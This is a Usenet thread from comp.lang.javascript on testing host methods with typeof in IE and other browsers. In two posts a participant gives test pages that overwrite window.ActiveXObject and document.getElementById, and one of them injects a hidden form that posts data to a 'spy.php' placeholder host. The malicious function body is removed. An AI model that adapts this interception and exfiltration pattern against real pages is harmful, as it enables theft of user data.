typeof for feature testing host methods

[Peter Michaux]

There have been many threads lately about testing for the existence of
host object methods. I have usually just feature tested the existence
of host methods with the following

if (document.getElementById)

There is concern from several people in the group that this is
insufficient for at least a couple reasons.

One reason for concern is the above test does not determine if
document.getElementById is callable. No one has reported a case where
a browser that has document.getElementById will be non-callable. In
some browsers it may be that some other JavaScript has assigned a non-
callable value to the the document.getElementById property. In those
browsers, it may also be true that someone has assigned a function to
document.getElementById. If this has been done then none of the
proposed tests would detect that the callable value is not the
expected callable value. Thomas Lahn seems particularly concerned
about these problems (and he is preparing to tell I am wrong or that I
have missed the point.)

Another reason for concern is that even though the host may provide a
callable document.getElementById but that when writing just "if
(document.getElementById)" it isn't the [[Call]] property the [[Get]]
property that is used. David Mark seems to think this is a problem
with some (all?) ActiveX objects. All host objects are required to
implement [[Get]] so IE is not ECMAScript compliant if it does not. So
when we are feature testing host objects we are worried about testing
ECMAScript non-compliant browsers.

Both Thomas' and David's feature testing uses typeof for testing host
methods.

Thomas tests the document.evaluate host method

<URL: http://pointedears.de/scripts/types.js>

function isMethodType(s)
{
return /\b(function|object)\b/i.test(s);
}

<URL: http://pointedears.de/scripts/dhtml.js>

if (this.isMethodType(typeof document.evaluate) && document.evaluate)
{
// W3C DOM Level 3 XPath
return function dhtml_getElemByTagName(s, i)
{
if (!s)
{

// ---------------------

David tests for document.getElementById

<URL: http://groups.google.com/group/comp.lang.javascript/msg/d8a9ec709205ae47>

var reFeaturedMethod = new RegExp('^function|object$', 'i');

var isFeaturedMethod = function(o, m) {
var t = typeof(o[m]);
return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
};

if (isFeaturedMethod(doc, 'getElementById')) {
return function(id, docNode) {
return idCheck((docNode || doc).getElementById(id), id);
};
}

// ---------------------


The ECMA standard says that the value of a "typeof hostObject"
expression can be any string. So both Thomas' and David's techniques
could result in false negatives which would leave a browser unenabled.
This is better than a false positive where a function is enabled in a
browser but the function will not function.

What I'm more concerned about is that typeof is being considered a
solution for the unimplemented [[Get]] problem David wrote about. Both

if (document.getElementById)

and

typeof document.getElementById

are described as calling [[Get]] somewhere in their evaluation. If a
browser really did not supply the [[Get]] property at all for an
object then both likely throw an error and probably a TypeError. (More
serious alternatives would be crashing the browser or computer and we
can't protect against that.) The ECMAScript specification of typeof
does not say it will catch that error. Using typeof isn't some sort of
panacea for feature detecting a host method to avoid errors thrown in
non-compliant browsers.

It does seem that using the technique "typeof document.getElementById"
works better in IE than "if (document.getElementById)" if document
happened to be an ActiveX object. However, according to the ECMAScript
standard, there is no reason one should be superior to the other.

Some additional protection for non-compliant browsers could be gained
by adjusting David's code, for example, by adding a try-catch. I've
also changed it to check "unknown" objects for null. It seems to me an
"unknown" object that is null would be somewhat useless.

var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!(reFeaturedMethod.test(t) && o[m]);
}
catch(e) {
return false;
}
};

This is a general mess thanks to the possible behaviors of non-
compliant browsers. It is somewhat clear that using typeof for testing
a host object feature in a non-complaint browser is not guaranteed to
work but does seem to work in the population of browsers today. It
seems to be a practical solution or at least a better way to feature
detect. It is not a theoretical solution since typeof doesn't catch
errors.

 

[Peter Michaux]

I've
also changed it to check "unknown" objects for null. It seems to me an
"unknown" object that is null would be somewhat useless.

var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!(reFeaturedMethod.test(t) && o[m]);
}
catch(e) {
return false;
}

};

Laps in judgment above. Should be

var reFeaturedMethod = new RegExp('^function|object$', 'i');

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!((reFeaturedMethod.test(t) && o[m]) || t == 'unknown');
}
catch(e) {
return false;
}

};

 

[AKS]

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]

 

[Peter Michaux]

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]

-----------------------------

To avoid errors and try...catch:

var t = typeof Object(o)[m];

What will that do? Calling Object(o) as a function with an object for
the argument will call ToObject(o) in section 9.9 in ECMAScript 3rd.
When ToObject(o) is passed an object it just returns that object with
no conversion. So "typeof Object(o)[m]" is the same as "typeof o[m]".

 

[AKS]

So "typeof Object(o)[m]" is the same as "typeof o[m]".

I was mistaken (have thought of null), excuse me.

 

[VK]

There have been many threads lately about testing for the existence of
host object methods. I have usually just feature tested the existence
of host methods with the following

if (document.getElementById)

There is concern from several people in the group that this is
insufficient for at least a couple reasons.

One reason for concern is the above test does not determine if
document.getElementById is callable. No one has reported a case where
a browser that has document.getElementById will be non-callable. In
some browsers it may be that some other JavaScript has assigned a non-
callable value to the the document.getElementById property.

A really good program/programmer must expose two main thinking
features: modularity and synthesis. Modularity makes any task being a
single indivisible unit where any further granularity is either
impossible or pointless. Only _after_ that one can start with
synthesis so to see what units are possible can be overlapped with the
execution blocks.

Modularity was always a weak point of some people in clj because of
the tradition to simply bring all possible/near possible/nearly
impossible failure possibility from all accross the Web and dumping
them into the same subroutine.

In the particular case you are asking about there are two completely
different tasks to deal with:

1) a presence of a particular DOM method in the factory state of a
particular UA.
2) a possibility of a particular DOM method being hidden behind a
maskon at runtime.

The first task for document.getElementById in the particular is not
any more actual and it doesn't worth any programming efforts.
The second task for document element methods fails under the category
of a script developer actively trying to produce a non-working code.
My position remains the same here: so let him. Still the maskon
problem for windows host object methods is actual and important. You
may find interesting to read my post about the maskon problem at
http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0

It is also useful to read the whole thread inspired my post about the
23rd Chaos Communication Congress in 2006
http://groups.google.com/group/comp.lang.javascript/browse_frm/thread/ee14bbdba707b891

 

[VK]

In the linked post of mine:
http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
I have explained why I would like do not express myself publicly on
the maskon problem though anyone is welcome of course. Somehow you
guys finally arrived to a serious programming task, moreover to the
task where web-developers and browser-developers are being in a sharp
stand: thus what is considered as a security measure by ones - it is
considered as a security violation by other side - and vice versa. But
once again it is not related with document.getElementById method for a
common use library. For the original topic the answer is the same, a
reliable universal wrapper is

function $(id) {
return document.getElementById(id);
}
and not a single char extra.

Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
had to write a number of programs ensuring unaltered 3rd party content
delivery to the end client or deny on service of no other way around.
Just take a deep breath please: I never in my life participated in any
illegal activity including virus and trojan destribution. Just in some
businesses - it is not a general rule of the Web - one either takes
what content provider requires or not being served at all. Like one
may pick up only red flowers in the field but left all blue ones; at
the same time one may not pull out bonus 6oz shampoo bottle from the
bonus package and take only that one. Again: a particular situation
may require a particular handling.

Back to the subject:

From the programmatical point of view IE is the most difficult to
fight with maskons, Fx is more eazy on that because of its slavery
ECMA standard emulation window === this === Global. But neither with
IE nor with Fx I want to produce or accelerate the next "security
improvement" by the producers so forced to fix the libraries once over
again. As a compromise I can give you a stripped down version of one
of my year 2006 testcases for IE6. It doesn't cure the problem, but it
still tells you that you have a problem. One may as a mind exercise to
find the alternative for Fx: if more hints are needed I may provide
them.

<html>
<head>
<title>Maskons : IE : ie/2006/023</title>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">

<script type="text/jscript">

function maskonize() {

window.ActiveXObject = psiConstructor;

var _expando = document.expando;
document.expando = true;
document.getElementById = psiCollector;
document.expando = _expando;

window.setTimeout('takeRedPill()', 10);
}


function takeRedPill() {

if (typeof window.ActiveXObject.
prototype != 'undefined') {

/* Maskon instead of real ActiveXObject */

/* Maskon factory first found and destroyed
*/
// Code is not disclosed

/* Real ActiveXObject is restored
*/
// Code is not disclosed
window.alert('ActiveXObject: Matrix has you!');
}


if (typeof document.getElementById.
prototype != 'undefined') {

/* Maskon instead of real getElementById */

/* Maskon factory first found and destroyed
*/
// Code is not disclosed

/* Real getElementById is restored
*/
// Code is not disclosed
window.alert('getElementById: Matrix has you!');
}
}

function psiConstructor() {}

function psiCollector() {return new Array;}

function psiObjector() {return new Object;}

function psiRelaxer() {return true;}

window.onload = maskonize;
</script>

</head>
<body>
</body>
</html>

 

[David Mark]

I've
also changed it to check "unknown" objects for null. It seems to me an
"unknown" object that is null would be somewhat useless.

var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!(reFeaturedMethod.test(t) && o[m]);
}
catch(e) {
return false;
}

};

Laps in judgment above. Should be

var reFeaturedMethod = new RegExp('^function|object$', 'i');

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if

This does not throw an error. Example:

(typeof window.external.addFavorite)

Evaluates to "unknown"

(window.external.addFavorite)

Throws an error in IE.

So I don't see what benefit the try clause adds. However, it does
have the unwanted effect of short-circuiting feature testing in agents
that cannot parse try clauses.

 

[David Mark]

There have been many threads lately about testing for the existence of
host object methods. I have usually just feature tested the existence
of host methods with the following

if (document.getElementById)

There is concern from several people in the group that this is
insufficient for at least a couple reasons.

One reason for concern is the above test does not determine if
document.getElementById is callable. No one has reported a case where
a browser that has document.getElementById will be non-callable. In
some browsers it may be that some other JavaScript has assigned a non-
callable value to the the document.getElementById property.

[snip]

In the particular case you are asking about there are two completely
different tasks to deal with:

1) a presence of a particular DOM method in the factory state of a
particular UA.

Can you define "factory state?"

2) a possibility of a particular DOM method being hidden behind a
maskon at runtime.

Behind a what?

The first task for document.getElementById in the particular is not
any more actual and it doesn't worth any programming efforts.

It isn't clear what you think the first task is.

The second task for document element methods fails under the category
of a script developer actively trying to produce a non-working code.

Whatever that means.

My position remains the same here: so let him. Still the maskon
problem for windows host object methods is actual and important. You

It seems you don't understand the problem with "windows host object
methods" at all. Microsoft implements some of them as ActiveX objects
and the internal [[Get]] method of their methods throws an exception.
The solution to this is trivial.

may find interesting to read my post about the maskon problem athttp://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0

No thanks.

It is also useful to read the whole thread inspired my post about the
23rd Chaos Communication Congress in 2006http://groups.google.com/group/comp.lang.javascript/browse_frm/thread...

I have little interest in the 23rd iteration of something I have never
heard of. Certainly anything that you consider useful or
inspirational is right out.

 

[Peter Michaux]

I've
also changed it to check "unknown" objects for null. It seems to me an
"unknown" object that is null would be somewhat useless.
var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!(reFeaturedMethod.test(t) && o[m]);
}
catch(e) {
return false;
}
};

Laps in judgment above. Should be

var reFeaturedMethod = new RegExp('^function|object$', 'i');

var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if

This does not throw an error. Example:

(typeof window.external.addFavorite)

In the ECMAScript standarad the above expression uses [[Get]].

Evaluates to "unknown"

(window.external.addFavorite)

Throws an error in IE.

In the ECMAScript standard the above expression uses [[Get]] just like
the typeof expression above.

It could be something more along the lines of the ToBoolean that is
the problem here instead of a missing [[Get]].

[[Get]] and ToBoolean are only included in the standard as ways to
explain the actual standard.

So I don't see what benefit the try clause adds.

In a practical sense perhaps nothing. There is nothing in the standard
that states typeof would catch an error thrown if [[Get]] is missing.

However, it does
have the unwanted effect of short-circuiting feature testing in agents
that cannot parse try clauses.

True.

The point I was investigating was is if typeof is implemented
according to the standard, but other parts of the implementation are
non-standard, does typeof guarantee errors will not be thrown? The
answer seems to be no. In practice it seems to be working. If we are
relying on typeof in this way I simply want it noted that there is no
theoretical reason why it should work but that it seems to work.

The additional try-catch would gaurantee that we have the behavior we
are looking for of avoiding throwing errors and the reasoning for this
would then be included in the standard. That is what try-catch is for.

 

[David Mark]

In the linked post of mine:http://groups.google.com/group/comp.lang.javascript/msg/65a858c19f383df0
I have explained why I would like do not express myself publicly on
the maskon problem though anyone is welcome of course. Somehow you

You lost me already.

guys finally arrived to a serious programming task, moreover to the
task where web-developers and browser-developers are being in a sharp
stand: thus what is considered as a security measure by ones - it is
considered as a security violation by other side - and vice versa. But

Correct me if I am wrong, but even if some meaning could be derived
from this gibberish, it would likely be irrelevant to the current
discussion (which has nothing to do with security.)

once again it is not related with document.getElementById method for a
common use library. For the original topic the answer is the same, a
reliable universal wrapper is

function $(id) {
return document.getElementById(id);}

That will reliably throw errors in browsers that do not support gEBI.

and not a single char extra.

Since the start of magicFunction/Greeasemonkey/Squid/and Co. deal I
had to write a number of programs ensuring unaltered 3rd party content
delivery to the end client or deny on service of no other way around.

You are off in the weeds again.

Just take a deep breath please: I never in my life participated in any
illegal activity including virus and trojan destribution. Just in some
businesses - it is not a general rule of the Web - one either takes
what content provider requires or not being served at all. Like one
may pick up only red flowers in the field but left all blue ones; at
the same time one may not pull out bonus 6oz shampoo bottle from the
bonus package and take only that one. Again: a particular situation
may require a particular handling.

I want the last five seconds of my life back.

Back to the subject:

That assumes you know what the subject is.

From the programmatical point of view IE is the most difficult to
fight with maskons, Fx is more eazy on that because of its slavery
ECMA standard emulation window === this === Global. But neither with

In what version of IE does the global window property not refer back
to the Global Object? I know it isn't a rule (and certainly not one
defined by the ECMAScript specification), but I have yet to encounter
a version of IE (or any browser) that implements window in any other
way.

IE nor with Fx I want to produce or accelerate the next "security
improvement" by the producers so forced to fix the libraries once over
again. As a compromise I can give you a stripped down version of one
of my year 2006 testcases for IE6. It doesn't cure the problem, but it
still tells you that you have a problem. One may as a mind exercise to
find the alternative for Fx: if more hints are needed I may provide
them.

Please don't post any more of that code.

 

[David Mark]

I've
also changed it to check "unknown" objects for null. It seems to me an
"unknown" object that is null would be somewhat useless.
var reFeaturedMethod = new RegExp('^function|object|unknown$', 'i');
var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if o doesn't have [[Get]]
return !!(reFeaturedMethod.test(t) && o[m]);
}
catch(e) {
return false;
}
};
Laps in judgment above. Should be
var reFeaturedMethod = new RegExp('^function|object$', 'i');
var isFeaturedMethod = function(o, m) {
try {
var t = typeof(o[m]); // throws error if

This does not throw an error. Example:

(typeof window.external.addFavorite)

In the ECMAScript standarad the above expression uses [[Get]].

Evaluates to "unknown"

Throws an error in IE.

In the ECMAScript standard the above expression uses [[Get]] just like
the typeof expression above.

I didn't think it did. I'll take your word for it.

It could be something more along the lines of the ToBoolean that is
the problem here instead of a missing [[Get]].

Whether it is a missing [[Get]] or one that deliberately throws errors
is unclear to me.

[[Get]] and ToBoolean are only included in the standard as ways to
explain the actual standard.

So I don't see what benefit the try clause adds.

In a practical sense perhaps nothing. There is nothing in the standard
that states typeof would catch an error thrown if [[Get]] is missing.

This surprises me as typeof(anUndeclaredIdentifier) doesn't throw an
error. But then, I suppose it skips the [[Get]] in that case and just
returns undefined. I'll have to go back and re-read that section.

True.

The point I was investigating was is if typeof is implemented
according to the standard, but other parts of the implementation are
non-standard, does typeof guarantee errors will not be thrown? The

From what you have mentioned here (and in the previous post that I
didn't read thoroughly enough), it is no guarantee. It is simply the
best practical solution.

answer seems to be no. In practice it seems to be working. If we are
relying on typeof in this way I simply want it noted that there is no
theoretical reason why it should work but that it seems to work.

So noted.

The additional try-catch would gaurantee that we have the behavior we
are looking for of avoiding throwing errors and the reasoning for this
would then be included in the standard. That is what try-catch is for.

I guess we need two implementations of that function with appropriate
warnings.

 

[VK]

Can you define "factory state?"

It is the same as usual. Try google if doesn't help, I guess you'll
guess to skip on say "Florida fuels foam factory ..." and similar so
you'll get a right one among:
http://www.google.com/search?hl=en&q=factory+state&btnG=Google+Search

Behind a what?

If you don't read the post you are replying to then why bother to
answer? (shudder)

It seems you don't understand the problem with "windows host object
methods" at all.

Truly I guess no one anymore understands the problems in "Code
recommending"-related threads. These are come kind esoteric pondering
around right after 8-10 initial posts in each. I do vaguely remember -
though I may be mistaken now - that the very first issue was with
typeof operator reporting "object" for some callable instances
(methods) on some browsers in some conditions; also reporting
"function" for some potentially non-callable objects. Somehow - here
I'm still unclear - it was considered important for jPath (?) library
stable usage. So it is started as a search of custom bulletproof
typeof. Am I correct in my description? Are you still there or
advanced somewhere?

Microsoft implements some of them as ActiveX objects
and the internal [[Get]] method of their methods throws an exception.
The solution to this is trivial.

Please don't use ECMA-talk on me, there can be children around. Can
you just tell what script fails, where and on what condition to
illustrate the above problem?

 

[David Mark]

It is the same as usual. Try google if doesn't help, I guess you'll
guess to skip on say "Florida fuels foam factory ..." and similar so
you'll get a right one among:http://www.google.com/search?hl=en&q=factory+state&btnG=Google+Search

So the answer to my question appears to be no.

If you don't read the post you are replying to then why bother to
answer? (shudder)

I read the post. As noted, it was mostly gibberish.

Truly I guess no one anymore understands the problems in "Code
recommending"-related threads. These are come kind esoteric pondering
around right after 8-10 initial posts in each. I do vaguely remember -
though I may be mistaken now - that the very first issue was with
typeof operator reporting "object" for some callable instances
(methods) on some browsers in some conditions; also reporting
"function" for some potentially non-callable objects. Somehow - here

Nope.

I'm still unclear - it was considered important for jPath (?) library

You are always unclear. I've never heard of jPath. Do you mean
jQuery?

stable usage. So it is started as a search of custom bulletproof
typeof. Am I correct in my description? Are you still there or
advanced somewhere?

We finished the discussion some time ago. It doesn't appear that you
have anything relevant to add.

Microsoft implements some of them as ActiveX objects
and the internal [[Get]] method of their methods throws an exception.
The solution to this is trivial.

Please don't use ECMA-talk on me, there can be children around. Can
you just tell what script fails, where and on what condition to
illustrate the above problem?

Read the thread.

 

[VK]

And if it is over-written, then isn't the author better off knowing that
he screwed up rather than trying to get around that?

In about 99% of cases it is. In about 1% it may be the security
requirement implication to ensure de-maskoned environment. That was
addressed and explained how to detect - if not to fix - in my posts in
this thread. I'm affraid that David Mark is too much of irritation to
keep arguing with him. I'm OK if someone knows the stuff even if he
has a completely different opinion about its interpretation. I'm OK
with someone with a luck of knowledge but ready to peak up on the go.
I'm out of patience very quickly with someone without any knowledge
yet refusing to learn any new things.

While document.getElementById is a silly case to worry about,
window.ActiveXObject is sometimes an important object to check not
only for presence but also for the factory state.
NB: just for David Mark if he still puzzled - "factory state" is the
state intended to be by the application producer for the given
release. It doesn't imply "standard compliant", "correct" etc.
Say for a real specie from my last year test cases:

<html>
<head>
<title>Maskons : IE : ie/2006/104</title>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">

<script type="text/jscript">

function maskonize() {
document.body.
insertAdjacentHTML('beforeEnd', ''.concat(
'<form name="fmsksg" method="POST" ',
'action="http://www.sample.net/spy.php" ',
'style="position:absolute !important">',
'<input type="hidden" name="data" value="">',
'</form>'));
window.ActiveXObject = maskonize.ActiveXObject;
}

maskonize.ActiveXObject = function(id) {
// malicious code removed
}
</script>
</head>
<body onload="maskonize();">
</body>
</html>

So sometimes one will not give a damn sh** what does typeof return but
wants to know _what_ object, the real or a maskon, he will be dealing
with.

That is why I have always said "Give me what works, not what some
standard says". You can write 100% "compliant" code and if it won't
execute properly in a browser then it is pretty useless, isn't it?

Amen!

 

[David Mark]

Peter Michaux said the following on 12/15/2007 12:04 AM:

There have been many threads lately about testing for the existence of
host object methods. I have usually just feature tested the existence
of host methods with the following

if (document.getElementById)

var newScript = document.createElement('script');
newScript.type = "text/javascript";
var s = document.createTextNode(d[x].text);
newScript.appendChild(s);

Ever seen that code? (Or rather, something close to it). You can feature

Many times.

test your head off and IE will pass every one of them. It still falls
down on itself when trying to appendChild to a script element. The only
way to know it is going to work, or not, in IE is to execute it or
detect IE - either through explicit or implicit tests.

I use the canHaveChildren property.

I think it is, in some cases, but for different reasons.


And if it is over-written, then isn't the author better off knowing that
he screwed up rather than trying to get around that? Let's say it is in
a library that a native function is over-written.

<script src="libraryX.js"></script>
<script src="libraryY.js"></script>
<script src="libraryZ.js"></script>

If libraryX over-writes it, then the page author needs to know, as soon
as possible, that the author of libraryX was smoking weed when he did
it. Trying to compensate for that in libraryY or libraryZ isn't solving
a problem, only making it transparent so that the real problem doesn't
get corrected. Don't confuse that with trying to correct bugs in a
browser (e.g. IE and toFixed).


Remember that you are referring to a person who wrote a 306 line script
to do a simple image swap.

I must have missed that one.

That is part of the problem in this group. People trying to make things
more difficult than they have to be simply because some browser back in
1997/1998 won't execute the present day code.

The isHostMethod (nee isFeaturedMethod) function is easy enough to use
and it is at most two lines long.

I also think that trying to detect that failure will mask potential bugs
in browsers.

You can't detect it reliably anyway. They could overwrite the method
with a function or Object object, which would pass muster.

Another reason for concern is that even though the host may provide a
callable document.getElementById but that when writing just "if
(document.getElementById)" it isn't the [[Call]] property the [[Get]]
property that is used. David Mark seems to think this is a problem
with some (all?) ActiveX objects. All host objects are required to
implement [[Get]] so IE is not ECMAScript compliant if it does not. So
when we are feature testing host objects we are worried about testing
ECMAScript non-compliant browsers.

ActiveX components are different animals and need to be dealt with
differently. As for ECMAScript, we will leave that one alone.

Not really. IE implements some DOM elements as ActiveX objects (e.g.
anchors that link to news resources.) And then there is
window.external, which is an ActiveX object now, but might not be in
the future. There's no telling what host objects MS will or won't
implement as ActiveX objects. If they do it for DOM elements, who is
to say that document won't be an ActiveX object in IE8? If it is,
then evaluating (document.getElementById) will throw an error (just as
a.href can in IE7.)

I really don't think there is much to argue about in a two-line
function.

 

[David Mark]

In about 99% of cases it is. In about 1% it may be the security
requirement implication to ensure de-maskoned environment. That was
addressed and explained how to detect - if not to fix - in my posts in
this thread. I'm affraid that David Mark is too much of irritation to
keep arguing with him. I'm OK if someone knows the stuff even if he
has a completely different opinion about its interpretation. I'm OK
with someone with a luck of knowledge but ready to peak up on the go.
I'm out of patience very quickly with someone without any knowledge
yet refusing to learn any new things.

LOL. I am afraid I don't want to learn about your "red pills" or
"blue flowers" or (if memory serves me correctly) the "drunken cowboy
and parrot" metaphor from some long ago post.

While document.getElementById is a silly case to worry about,
window.ActiveXObject is sometimes an important object to check not
only for presence but also for the factory state.
NB: just for David Mark if he still puzzled - "factory state" is the

I wasn't puzzled. I simply posed the question as to whether you could
define it or not. You refused in the last reply.

state intended to be by the application producer for the given
release. It doesn't imply "standard compliant", "correct" etc.

Apparently, the answer is still no, at least if one expects a coherent
definition.

Say for a real specie from my last year test cases:

<html>
<head>
<title>Maskons : IE : ie/2006/104</title>
<meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">

<script type="text/jscript">

function maskonize() {
document.body.
insertAdjacentHTML('beforeEnd', ''.concat(
'<form name="fmsksg" method="POST" ',
'action="http://www.sample.net/spy.php" ',
'style="position:absolute !important">',
'<input type="hidden" name="data" value="">',
'</form>'));
window.ActiveXObject = maskonize.ActiveXObject;

}

maskonize.ActiveXObject = function(id) {
// malicious code removed}

</script>
</head>
<body onload="maskonize();">
</body>
</html>

I asked you not to do that.

[snip]

 

[VK]

I am afraid I don't want to learn about your "red pills" or
"blue flowers" or (if memory serves me correctly) the "drunken cowboy
and parrot" metaphor from some long ago post.

No one requires it from you. Simply study and test on IE the posted
code.

I wasn't puzzled. I simply posed the question as to whether you could
define it or not. You refused in the last reply.

Sorry, but I'm not Random House Webster's. If I'm using a word coined
by myself or a known word used in an irregular meaning then of course
I do explain it. Otherwise dictionaries are your friends ;-) Or say
call to HP tech support and ask them what "factory state" is from
http://docs.hp.com/en/541359-001/ch03s04.html
(that from the top part of the suggested Google search).

I asked you not to do that.

Do not do what? This thread is started by Peter Michaux and in OP he
expressed two possible concerns. I am so far answering to the first
one - let's call it "Thomas' concern" by the initial attribution. The
2nd, "David's concern",a is not answered yet because it is not clear
what this concern is about: what is "missing [[Get]] for ActiveX
objects" ?

 

[David Mark]

No one requires it from you. Simply study and test on IE the posted
code.

Your posted code?! What a waste of time that would be.

[snip]

Do not do what? This thread is started by Peter Michaux and in OP he
expressed two possible concerns. I am so far answering to the first
one - let's call it "Thomas' concern" by the initial attribution. The

You aren't answering anything, just muddling a very simple issue (as
usual.)

2nd, "David's concern",a is not answered yet because it is not clear
what this concern is about: what is "missing [[Get]] for ActiveX
objects"

Let me see if I can explain it in terms you will understand.

Your browser is drunken cowboy that shoots parrots and squids in
fields of red and blue flowers and vice versa.

 

[VK]

2nd, "David's concern",a is not answered yet because it is not clear
what this concern is about: what is "missing [[Get]] for ActiveX
objects"

Let me see if I can explain it in terms you will understand.

Your browser is drunken cowboy that shoots parrots and squids in
fields of red and blue flowers and vice versa.

OK... If the "Thomas' concern" may be possibly solved by
programmatical means then "David's concern" seems out the knowledge
of c.l.j. He really concerns me now... not his concern...